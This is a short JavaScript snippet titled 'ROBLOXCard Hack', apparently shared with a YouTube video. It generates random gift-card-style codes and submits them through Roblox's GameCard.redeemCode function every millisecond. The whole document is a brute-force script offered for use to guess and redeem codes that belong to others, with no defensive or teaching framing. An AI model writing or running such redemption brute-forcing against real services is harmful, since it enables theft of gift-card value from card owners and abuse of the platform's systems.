ROBLOXCard Hack- JavaScript

alert("Thanks for watching Previized's video!")
var Numbers = [6, 7]

function main() {
    var Key1= ((Numbers[Math.floor(Math.random() * Numbers.length)].toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()));
    var Key2= ((Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()));
    var Key3= ((Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()) + (Math.floor((Math.random() * 10)).toString()));
    var code = (Key1 + " " + Key2 + " " + Key3)

    document.getElementById("pin").value = code;
    Roblox.GameCard.redeemCode();
}

setInterval(function() {
    main();
}, 1); /// "1" is the fastest, you can can change it too.